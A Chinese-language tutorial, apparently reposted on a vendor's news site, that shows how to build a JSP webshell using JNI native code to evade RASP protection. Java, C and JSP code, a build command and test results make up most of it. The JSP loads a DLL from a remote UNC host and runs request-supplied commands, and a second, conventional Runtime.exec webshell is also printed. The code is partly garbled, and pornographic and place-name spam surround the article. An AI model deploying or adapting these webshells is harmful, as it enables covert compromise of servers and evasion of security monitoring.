亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

JNI技術繞過rasp防護怎么實現jsp webshell

發布時間:2021-11-23 22:45:16 來源:億速云 閱讀:231 作者:柒染 欄目:網絡安全

今天就跟大家聊聊有關JNI技術繞過rasp防護怎么實現jsp webshell,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

JNI技術繞過rasp防護怎么實現jsp webshell

想到rasp這類工具是基于java、php運行期的堆棧信息進行分析,可以嘗試使用jni技術進行繞過。java技術棧中的jni的原理是使用java調用c、c++函數,具體實現的思路是jsp編譯為class文件,該class通過jni技術調用另外一處dll里的函數繞過黑名單執行命令獲取回顯,即可實現rasp和安全防護軟件的繞過。

原理使用

以我們要實現的jsp webshell命名為test.jsp為例。由于jni技術需要先通過javah+.class文件生成.h開頭的c頭文件,jsp是一種特殊的class文件,而jsp經過Tomcat編譯class文件,命名遵從test.jsp ->> org.apache.jsp.test_jsp.class,所以我們需要新建package為org.apache.jsp,類名為test_jsp的.java文件。```package org.apache.jsp;  public class test_jsp   {       class JniClass       {           public native String exec( String string );      }  }

cd到編譯生成的target/class目錄,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,內容為:

/DO NOT EDIT THIS FILE - it is machine generated /

#include / Header for classorg_apache_jsp_test_jsp_JniClass /

#ifndef_Included_org_apache_jsp_test_jsp_JniClass

#define_Included_org_apache_jsp_test_jsp_JniClass

#ifdef __cplusplusextern "C" {

#endif

/*

  • Class: org_apache_jsp_test_jsp_JniClass

    *Method:    exec

    *Signature: (Ljava/lang/String;)Ljava/lang/String;

    */

JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec

(JNIEnv*, jobject, jstring);

#ifdef __cplusplus}

#endif

#endif 調用上一步生成頭文件,編寫有回顯的c語言代碼

#include"jni.h"

#include"org_apache_jsp_test_jsp_JniClass.h"

#include

#include

#include

#include

#include int execmd(const char cmd, char result)

{ char buffer[102412];              //定義緩沖區 FILE pipe = _popen(cmd, "r"); //打開管道,并執行命令 if (!pipe)     return 0; //返回0表示運行失敗 while (!feof(pipe)){     if (fgets(buffer, 128, pipe))     { //將管道輸出到result中         strcat(result, buffer);     }

} _pclose(pipe); //關閉管道 return 1;      //返回1表示運行成功}JNIEXPORT jstring JNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv env, jobjectclass_object, jstring jstr){ const char cstr = (env)->GetStringUTFChars(env, jstr, NULL); char result[1024  12] = ""; //定義存放結果的字符串數組 if (1 == execmd(cstr, result))

{    // printf(result);} char return_messge[100] = ""; strcat(return_messge, result); jstring cmdresult = (*env)->NewStringUTF(env, return_messge); //system(); return cmdresult;}}

使用gcc將該c源碼編譯為dll或者lib(注意jdk版本要與目標機器的

jdk保持一致)

gcc -I "c:\Program Files\Java\jdk1.7.0_75\include"  -I "c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c -o 1.dll

具體在jsp load時有兩種思路,一種是將該jsp文件和該dll放置于服務器的本地路徑。jsp的代碼里指定dll的絕對路徑\相對路徑;另外一種是使用unc路徑,這樣惡意dll通過遠程部署,加強隱蔽程度,加大溯源難度、提高部署靈活度。

<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%!   class JniClass {     public native String exec(String string);     public JniClass() {       //System.load("/Users/nano/upload/libJniClass.jnilib");       System.load("\\8.8.8.8\classes\1.dll");     }   }   ; %> <%   String cmd  = request.getParameter("cmd");   JniClass jniClass = new JniClass();   String res = jniClass.exec(cmd); %>

<%=res%>```

技術要點

i.         對于linux|mac環境,上一步生成的java內部類叫做JniClass,在類unix平臺下,加載的庫名需要為lib開頭+JniClass+jnilib或者dylib。ii.        核心的system.load|loadLibrary法是以File的形式記載dll|lib文件,該dll|lib路徑的以遠程的方式加載的絕對路徑,所以需要目標機器上測試判斷環境是支持//,還是支持\\?簡單判斷方法是new file(path),然后判斷file.exist。如果是前者的linux環境,需要想辦法使用//的unc路徑,推薦使用samba搭建匿名訪問服務放置.jnilib載荷。如果是后者,即目標服務器為windows下的java應用,遠程路徑需要以\\開頭,dll需要放在windows下,在windows平臺下445不通的情況下,會訪問WebD**(開啟webclient)的80端口下載下來dll執行。iii.      jni載荷的c、c++實現的代碼要具備健壯性,避免目標環境的jvm奔潰。iv.      使用system函數執行命令要小心被hids發現。v.        該webshell只在tomcat容器上測試過。

實戰使用

經測試:jdk1.7+tomcat8.5+windows環境

jdk10+tomcat+Mac

rasp安全防護全開。

rasp安全防護全開。

JNI技術繞過rasp防護怎么實現jsp webshell

JNI技術繞過rasp防護怎么實現jsp webshell

JNI技術繞過rasp防護怎么實現jsp webshell

樣本index.jsp為傳統的基于Runtime.getRuntime執行命令,

<%@ page import="java.io.*" %> <%     try {         String cmd = request.getParameter("cmd");         Process child = Runtime.getRuntime().exec(cmd);         InputStream in = child.getInputStream();         int c;         while ((c = in.read()) != -1) {             out.print((char)c);         }         in.close();         try {             child.waitFor();         } catch (InterruptedException e) {             e.printStackTrace();         }     } catch (IOException e) {         System.err.println(e);     } %>

毫不意外的被rasp記錄日志并阻斷。JNI技術繞過rasp防護怎么實現jsp webshell

JNI技術繞過rasp防護怎么實現jsp webshell

使用jni突破rasp的jsp來執行shell,成功繞過。

成功繞過。

JNI技術繞過rasp防護怎么實現jsp webshell

使用d盾查殺

JNI技術繞過rasp防護怎么實現jsp webshell

virustotal:

JNI技術繞過rasp防護怎么實現jsp webshell

看完上述內容,你們對JNI技術繞過rasp防護怎么實現jsp webshell有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

南漳县| 五指山市| 浙江省| 柘城县| 娱乐| 西和县| 股票| 南宁市| 秦皇岛市| 石家庄市| 嫩江县| 西和县| 新疆| 宝清县| 大方县| 和龙市| 蓬溪县| 临夏市| 武安市| 九江县| 恩平市| 凌云县| 马龙县| 湄潭县| 韶关市| 简阳市| 平邑县| 东宁县| 临江市| 黔西| 深泽县| 咸丰县| 潜山县| 宁都县| 南康市| 临漳县| 澎湖县| 眉山市| 滁州市| 广宗县| 永平县|